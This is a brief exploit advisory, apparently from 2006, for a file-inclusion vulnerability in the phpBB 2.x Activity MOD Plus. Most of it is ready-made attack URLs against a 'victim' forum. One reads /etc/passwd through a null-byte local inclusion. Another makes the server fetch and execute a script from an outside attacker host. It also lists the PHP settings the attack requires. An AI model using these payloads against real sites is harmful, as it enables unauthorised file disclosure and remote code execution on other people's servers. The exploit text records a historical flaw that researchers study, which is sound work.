phpBB 2.x (Activity MOD Plus) File Inclusion Vulnerability Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com This exploits works on phpBB 2.x (Activity MOD Plus) Original advisory can be found at: http://www.nukedx.com/?viewdoc=38 Succesful exploitation needs register_globals on GET -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=[FILE] EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=/etc/passwd%00 Requires magic_quotes_gpc off EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=http://yoursite.com/script.txt Requires allow_url_fopen on # nukedx.com [2006-05-27] # milw0rm.com [2006-05-28]